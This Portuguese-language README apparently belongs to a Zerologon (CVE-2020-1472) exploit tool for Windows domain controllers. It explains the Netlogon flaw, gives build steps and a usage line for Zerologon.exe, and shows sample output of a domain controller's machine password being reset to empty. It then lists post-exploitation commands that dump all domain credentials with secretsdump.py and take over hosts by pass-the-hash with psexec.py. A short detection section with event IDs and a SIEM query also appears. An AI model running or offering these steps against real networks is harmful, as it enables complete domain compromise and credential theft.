Zerologon (CVE-2020-1472)

Visão Geral

Este projeto é uma implementação da vulnerabilidade Zerologon (CVE-2020-1472), uma das vulnerabilidades de segurança mais críticas do Active Directory. Esta vulnerabilidade permite que um atacante não autenticado comprometa todo o domínio do Active Directory ao redefinir a senha da conta de máquina do Controlador de Domínio.

Pontuação CVSS: 10.0 (Crítico)

O que é Zerologon?

Zerologon é uma falha criptográfica no Protocolo Remoto Netlogon da Microsoft (MS-NRPC). A vulnerabilidade existe na forma como o Netlogon usa a criptografia AES-CFB8 com um vetor de inicialização (IV) fixo em zero.

Resumo Técnico:

• O protocolo Netlogon usa um mecanismo de autenticação desafio-resposta
• Devido a uma implementação criptográfica inadequada, um desafio todo zero tem 1/256 de chance de produzir uma autenticação válida
• Um atacante pode enviar ~2000 tentativas de autenticação para explorar essa falha de forma confiável
• Uma vez autenticado, o atacante pode redefinir a senha da conta de máquina do Controlador de Domínio para um valor conhecido (hash vazio)

Como Funciona

1. Seleção do Alvo
   └─> Identificar o Controlador de Domínio (FQDN, nome NetBIOS, conta de máquina)

2. Fase de Desafio (I_NetServerReqChallenge)
   └─> Enviar desafio do cliente todo zero (0x0000000000000000)
   └─> Receber desafio do servidor

3. Fase de Autenticação (I_NetServerAuthenticate2)
   └─> Tentar autenticação com credenciais nulas
   └─> Repetir até obter sucesso (~1/256 de taxa de sucesso por tentativa)

4. Fase de Redefinição de Senha (I_NetServerPasswordSet2)
   └─> Redefinir a senha da conta de máquina do DC para vazia
   └─> Novo hash NT: 31d6cfe0d16ae931b73c59d7e0c089c0 (senha vazia)

5. Pós-Exploração
   └─> Usar Pass-the-Hash com credenciais vazias
   └─> Comprometimento total do domínio alcançado

Construindo o Projeto

Pré-requisitos

• Ambiente de desenvolvimento Windows (Windows 10/11)
• Visual Studio 2022
• Windows SDK

Compilação

Usando Visual Studio:

1. Abra o Visual Studio
2. Selecione **Build Solution** no menu **Build**.

Uso

Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>

Exemplo:

Zerologon.exe DC01.corp.example.com DC01 DC01$

Parâmetros:

• DC_FQDN: Nome de Domínio Totalmente Qualificado (FQDN) do Controlador de Domínio alvo
• DC_NetBIOS_Name: Nome NetBIOS do DC (geralmente o nome do host)
• Machine_Account_Name: Nome da conta de máquina (deve terminar com $)

Saída Esperada:

Exploração bem-sucedida:

[+] Targeting Domain Controller:
    FQDN           : DC01.corp.example.com
    NetBIOS Name   : DC01
    Machine Account: DC01$

[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
      .\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>

Exploração falhou (sistema corrigido):

[-] Attack failed after 2000 attempts. Target likely patched.

Pós-Exploração

Após redefinir com sucesso a senha do DC, você pode:

1. Extrair credenciais do domínio:

secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10

2. Autenticação Pass-the-Hash:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01

Detecção

Detecção baseada em rede:

• Múltiplas tentativas de autenticação Netlogon com falha vindas de uma única origem
• Padrões incomuns no tráfego MS-NRPC
• Assinaturas de IDS/IPS para exploração do Zerologon

Detecção baseada em logs:

Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset

Consultas SIEM:

source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada.

O autor NÃO assume qualquer responsabilidade pelo uso indevido deste código.

Referências

Recursos Oficiais:

• CVE-2020-1472 - NIST
• Comunicado de Segurança da Microsoft
• Artigo de Pesquisa da Secura

Análise Técnica:

• Especificação do Protocolo Netlogon da Microsoft
• Aprofundamento Técnico do Zerologon

Ferramentas:

• Kit Impacket - Para pós-exploração
• Mimikatz - Extração de credenciais

Licença

Este projeto é licenciado sob a Licença MIT. Para mais informações, consulte o arquivo LICENSE.